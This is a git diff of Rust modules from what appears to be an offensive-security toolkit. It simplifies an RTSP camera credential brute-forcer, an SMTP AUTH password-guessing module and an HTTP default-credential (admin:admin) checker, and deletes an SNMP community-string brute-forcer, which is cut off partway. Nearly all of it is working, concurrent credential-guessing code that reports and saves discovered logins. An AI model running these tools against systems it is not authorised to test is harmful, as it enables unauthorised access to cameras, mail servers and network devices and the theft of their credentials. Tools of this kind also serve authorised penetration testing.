println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!("=== Advanced RTSP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RTSP Port", "554")?;
@@ -146,195 +61,99 @@ pub async fn run(target: &str) -> Result<()> {
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
let (addr, implicit_path) = normalize_target_input(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
let pass_lines: Vec<String> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(|line| line.ok().map(|s| s.trim().to_string()))
.filter(|line| !line.is_empty())
.collect();
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false)?;
let mut paths = if brute_force_paths {
let paths = if brute_force_paths {
let paths_file = prompt_required("Path to RTSP paths file")?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let addr = format!("{}:{}", target, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(Mutex::new(false));
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
println!("\n[*] Starting brute-force on {}", addr);
let users = load_lines(&usernames_file)?;
let pass_lines: Vec<_> = BufReader::new(File::open(&passwords_file)?)
.lines()
.filter_map(Result::ok)
.collect();
let mut idx = 0;
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) {
if *stop.lock().await {
break;
}
let userlist: Vec<String> = if combo_mode {
let userlist = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
let mut handles = vec![];
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) {
if *stop.lock().await {
break;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let addr = addr.clone();
let user = user.clone();
let pass = pass.clone();
let path = path.clone();
let found = Arc::clone(&found);
let stop = Arc::clone(&stop);
let command = advanced_command.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let headers = advanced_headers.clone();
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
let handle = tokio::spawn(async move {
if *stop.lock().await {
return;
}
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
)
.await
{
match try_rtsp_login(&addr, &user, &pass, &path, command.as_deref(), &headers).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone
.lock()
.await
.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
let path_str = if path.is_empty() { "NO_PATH" } else { &path };
println!("[+] {} -> {}:{} [path={}]", addr, user, pass, path_str);
found.lock().await.push((addr.clone(), user.clone(), pass.clone(), path_str.to_string()));
if stop_on_success {
*stop.lock().await = true;
}
}
Ok(false) => log(verbose, &format!("[-] {} -> {}:{} [path={}]", addr, user, pass, path)),
Err(e) => log(verbose, &format!("[!] {} -> error: {}", addr, e)),
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
});
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
handles.push(handle);
if handles.len() >= concurrency {
for h in handles.drain(..) {
let _ = h.await;
}
}
}
}
for h in handles {
let _ = h.await;
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task join error: {}", e).red());
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final();
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found (with these paths).".yellow());
println!("\n[-] No credentials found (with these paths).");
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
println!("\n[+] Valid credentials (and paths):");
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
@@ -389,24 +208,24 @@ async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
addr: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let addrs = resolve_targets(addr).await?;
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
let mut connected_sa = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(*sa).await {
match TcpStream::connect(sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
connected_sa = Some(sa);
break;
}
Err(e) => {
@@ -421,8 +240,7 @@ async fn try_rtsp_login(
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
"All connection attempts failed: {}",
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
@@ -460,7 +278,7 @@ async fn try_rtsp_login(
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
return Err(anyhow!("Server closed connection unexpectedly."));
}
let response = String::from_utf8_lossy(&buffer[..n]);
@@ -469,78 +287,15 @@ async fn try_rtsp_login(
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
Err(anyhow!("Unexpected RTSP response:\n{}", response))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
(without_scheme.trim(), None)
};
if host_part.is_empty() {
return Err(anyhow!("Target host cannot be empty."));
}
let normalized_host = if host_part.starts_with('[') {
if host_part.contains("]:") {
host_part.to_string()
} else {
format!("{}:{}", host_part, default_port)
}
} else {
let colon_count = host_part.matches(':').count();
if colon_count == 0 {
format!("{}:{}", host_part, default_port)
} else if colon_count == 1 {
if let Some((host_only, port_str)) = host_part.rsplit_once(':') {
if port_str.parse::<u16>().is_ok() {
if host_only.contains(':') {
format!("[{}]:{}", host_only, port_str)
} else {
host_part.to_string()
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("{}:{}", host_part, default_port)
}
} else {
format!("[{}]:{}", host_part, default_port)
}
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
}
Some(path)
}
});
Ok((normalized_host, normalized_path))
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
print!("{}: ", msg);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -548,12 +303,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("{}", "This field is required.".yellow());
println!("This field is required.");
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
print!("{} [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -564,7 +319,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
print!("{} (y/n) [{}]: ", msg, default);
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -572,7 +327,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
}
}
}
+5 -23
View File
@@ -1,32 +1,14 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sample Default Credential Checker ║".cyan());
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
println!();
println!("[*] Checking default creds on: {}", target);
let url = format!("http://{}/login", target);
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let client = reqwest::Client::new();
// Hypothetical login using "admin:admin"
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
@@ -35,9 +17,9 @@ pub async fn run(target: &str) -> Result<()> {
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
println!("[+] Default credentials admin:admin are valid!");
} else {
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
println!("[-] Default credentials admin:admin failed.");
}
Ok(())
+24 -224
View File
@@ -1,97 +1,14 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use anyhow::{Result, Context};
use regex::Regex;
use std::fs::{File, OpenOptions};
use std::io::{self, BufRead, BufReader, Write};
use std::net::{TcpStream, ToSocketAddrs};
use std::path::Path;
use std::sync::{Arc, Mutex};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use std::time::{Duration, Instant};
use std::time::Duration;
use telnet::{Telnet, Event};
use threadpool::ThreadPool;
use crossbeam_channel::unbounded;
const PROGRESS_INTERVAL_SECS: u64 = 2;
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SMTP Brute Force Module ║".cyan());
println!("{}", "║ Supports AUTH PLAIN and AUTH LOGIN ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
@@ -105,16 +22,14 @@ struct SmtpBruteforceConfig {
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!();
let port = prompt_port(25);
let username_wordlist = prompt_wordlist("Username wordlist file: ")?;
let password_wordlist = prompt_wordlist("Password wordlist file: ")?;
let threads = prompt_threads(8);
let stop_on_success = prompt_yes_no("Stop on first valid login?", true);
let full_combo = prompt_yes_no("Try every username with every password?", false);
let verbose = prompt_yes_no("Verbose mode?", false);
println!("\n=== SMTP Bruteforce ===\n");
let port = prompt("Port (default 25): ").parse().unwrap_or(25);
let username_wordlist = prompt("Username wordlist file: ");
let password_wordlist = prompt("Password wordlist file: ");
let threads = prompt("Threads (default 8): ").parse().unwrap_or(8);
let stop_on_success = prompt("Stop on first valid login? (y/n): ").trim().eq_ignore_ascii_case("y");
let full_combo = prompt("Try all combos? (y/n): ").trim().eq_ignore_ascii_case("y");
let verbose = prompt("Verbose? (y/n): ").trim().eq_ignore_ascii_case("y");
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
@@ -133,22 +48,10 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let usernames = read_lines(&config.username_wordlist)?;
let passwords = read_lines(&config.password_wordlist)?;
if usernames.is_empty() || passwords.is_empty() {
return Err(anyhow!("Username or password wordlist is empty."));
return Err(anyhow::anyhow!("Empty user or pass wordlist."));
}
println!("{}", format!("[*] Loaded {} username(s).", usernames.len()).cyan());
println!("{}", format!("[*] Loaded {} password(s).", passwords.len()).cyan());
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
passwords.len()
};
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
let found = Arc::new(Mutex::new(Vec::new()));
let stop_flag = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let stop_flag = Arc::new(Mutex::new(false));
let pool = ThreadPool::new(config.threads);
let (tx, rx) = unbounded();
if config.full_combo {
@@ -161,72 +64,43 @@ fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
for p in &passwords { tx.send((usernames[0].clone(), p.clone()))?; }
}
drop(tx);
// Start progress reporter thread
let progress_stop = Arc::clone(&stop_flag);
let progress_stats = Arc::clone(&stats);
let progress_handle = std::thread::spawn(move || {
while !progress_stop.load(Ordering::Relaxed) {
progress_stats.print_progress();
std::thread::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS));
}
});
for _ in 0..config.threads {
let rx = rx.clone();
let addr = addr.clone();
let stop_flag = Arc::clone(&stop_flag);
let found = Arc::clone(&found);
let stats = Arc::clone(&stats);
let config = config.clone();
pool.execute(move || {
while let Ok((user, pass)) = rx.recv() {
if stop_flag.load(Ordering::Relaxed) { break; }
if *stop_flag.lock().unwrap() { break; }
if config.verbose { println!("[*] {}:{}", user, pass); }
match try_smtp_login(&addr, &user, &pass) {
Ok(true) => {
println!("\r{}", format!("[+] VALID: {}:{}", user, pass).green().bold());
println!("[+] VALID: {}:{}", user, pass);
let mut creds = found.lock().unwrap(); creds.push((user.clone(), pass.clone()));
stats.record_attempt(true, false);
if config.stop_on_success {
stop_flag.store(true, Ordering::Relaxed);
*stop_flag.lock().unwrap() = true;
while rx.try_recv().is_ok() {}
break;
}
}
Ok(false) => {
stats.record_attempt(false, false);
if config.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user, pass).dimmed());
}
}
Err(e) => {
stats.record_attempt(false, true);
if config.verbose {
eprintln!("\r{}", format!("[!] {}:{}: {}", user, pass, e).red());
}
}
Ok(false) => {}
Err(e) => if config.verbose { eprintln!("[!] {}:{}: {}", user, pass, e); },
}
}
});
}
pool.join();
// Stop progress reporter
stop_flag.store(true, Ordering::Relaxed);
let _ = progress_handle.join();
// Print final statistics
stats.print_final();
let found = found.lock().unwrap();
if found.is_empty() {
println!("{}", "[-] No valid credentials found.".yellow());
println!("[-] No valid credentials.");
} else {
println!("{}", format!("[+] Found {} valid credential(s):", found.len()).green().bold());
for (u,p) in found.iter() { println!(" {} {}:{}", "".green(), u, p); }
if prompt("\nSave found? (y/n): ").trim().eq_ignore_ascii_case("y") {
println!("[+] Found:");
for (u,p) in found.iter() { println!("{}:{}", u, p); }
if prompt("Save found? (y/n): ").trim().eq_ignore_ascii_case("y") {
let f = prompt("Filename: ");
save_results(&f, &found)?;
println!("{}", format!("[+] Results saved to {}", f).green());
println!("[+] Saved to {}", f);
}
}
Ok(())
@@ -329,81 +203,7 @@ fn save_results(path: &str, creds: &[(String, String)]) -> Result<()> {
}
fn prompt(msg: &str) -> String {
print!("{}", msg);
if let Err(e) = io::stdout().flush() {
eprintln!("[!] Failed to flush stdout: {}", e);
}
let mut b = String::new();
match io::stdin().read_line(&mut b) {
Ok(_) => b.trim().to_string(),
Err(e) => {
eprintln!("[!] Failed to read input: {}", e);
String::new()
}
}
}
fn prompt_port(default: u16) -> u16 {
loop {
let input = prompt(&format!("Port (default {}): ", default));
if input.is_empty() {
return default;
}
match input.parse::<u16>() {
Ok(0) => println!("[!] Port cannot be zero. Please enter a value between 1 and 65535."),
Ok(port) => return port,
Err(_) => println!("[!] Invalid port. Please enter a number between 1 and 65535."),
}
}
}
fn prompt_threads(default: usize) -> usize {
loop {
let input = prompt(&format!("Threads (default {}): ", default));
if input.is_empty() {
return default.max(1);
}
if let Ok(value) = input.parse::<usize>() {
if value >= 1 && value <= 1024 {
return value;
}
}
println!("[!] Invalid thread count. Please enter a value between 1 and 1024.");
}
}
fn prompt_yes_no(message: &str, default_yes: bool) -> bool {
let default_char = if default_yes { "y" } else { "n" };
loop {
let input = prompt(&format!("{} (y/n) [{}]: ", message, default_char));
if input.is_empty() {
return default_yes;
}
match input.to_lowercase().as_str() {
"y" | "yes" => return true,
"n" | "no" => return false,
_ => println!("[!] Please respond with y or n."),
}
}
}
fn prompt_wordlist(message: &str) -> Result<String> {
loop {
let response = prompt(message);
if response.is_empty() {
println!("[!] Path cannot be empty.");
continue;
}
let trimmed = response.trim();
if Path::new(trimmed).is_file() {
return Ok(trimmed.to_string());
} else {
println!(
"{}",
format!("File '{}' does not exist or is not a regular file.", trimmed).yellow()
);
}
}
print!("{}", msg); io::stdout().flush().unwrap(); let mut b = String::new(); io::stdin().read_line(&mut b).unwrap(); b.trim().to_string()
}
fn normalize_target(host: &str, port: u16) -> Result<String> {
@@ -1,756 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::{SocketAddr, UdpSocket},
path::{Path, PathBuf},
sync::Arc,
time::{Duration, Instant},
};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use regex::Regex;
use tokio::{sync::Mutex, task::spawn_blocking, time::sleep};
const PROGRESS_INTERVAL_SECS: u64 = 2;
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Valid communities: {}", success.to_string().green().bold());
println!(" Invalid: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ SNMPv1/v2c Brute Force Module ║".cyan());
println!("{}", "║ Community String Discovery Tool ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = loop {
let input = prompt_default("SNMP Port", "161")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
}
};
let communities_file = loop {
let input = prompt_required("Community string wordlist file path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
println!("{}", "Tip: Common SNMP community wordlists are at /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt".yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
// Check if file is readable
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c")?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "50")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
let save_results = prompt_yes_no("Save results to file?", true)?;
let save_path = if save_results {
Some(prompt_default("Output file", "snmp_brute_results.txt")?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false)?;
let timeout_secs: u64 = loop {
let input = prompt_default("Timeout (seconds)", "3")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
}
};
let connect_addr = normalize_target(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
println!("[!] Community wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let communities = Arc::new(communities);
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
for community in communities.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let addr_clone = connect_addr.clone();
let community_clone = community.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let version = snmp_version;
let timeout = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
found_clone
.lock()
.await
.push((addr_clone.clone(), community_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
}
}
sleep(Duration::from_millis(10)).await;
}));
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task join error: {}", e).red());
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final();
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No valid community strings found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
for (host, community) in creds.iter() {
println!(" {} -> community: '{}'", host, community);
}
if let Some(path_str) = save_path {
let filename = get_filename_in_current_dir(&path_str);
let mut file = File::create(&filename)?;
for (host, community) in creds.iter() {
writeln!(file, "{} -> community: '{}'", host, community)?;
}
println!("[+] Results saved to '{}'", filename.display());
}
}
Ok(())
}
async fn try_snmp_community(
normalized_addr: &str,
community: &str,
version: u8, // 0 = v1, 1 = v2c
timeout: Duration,
) -> Result<bool> {
let community_owned = community.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
// Parse the address
let addr: SocketAddr = addr_owned
.parse()
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
// Create UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
socket
.set_read_timeout(Some(timeout))
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
// Build SNMP GET request manually
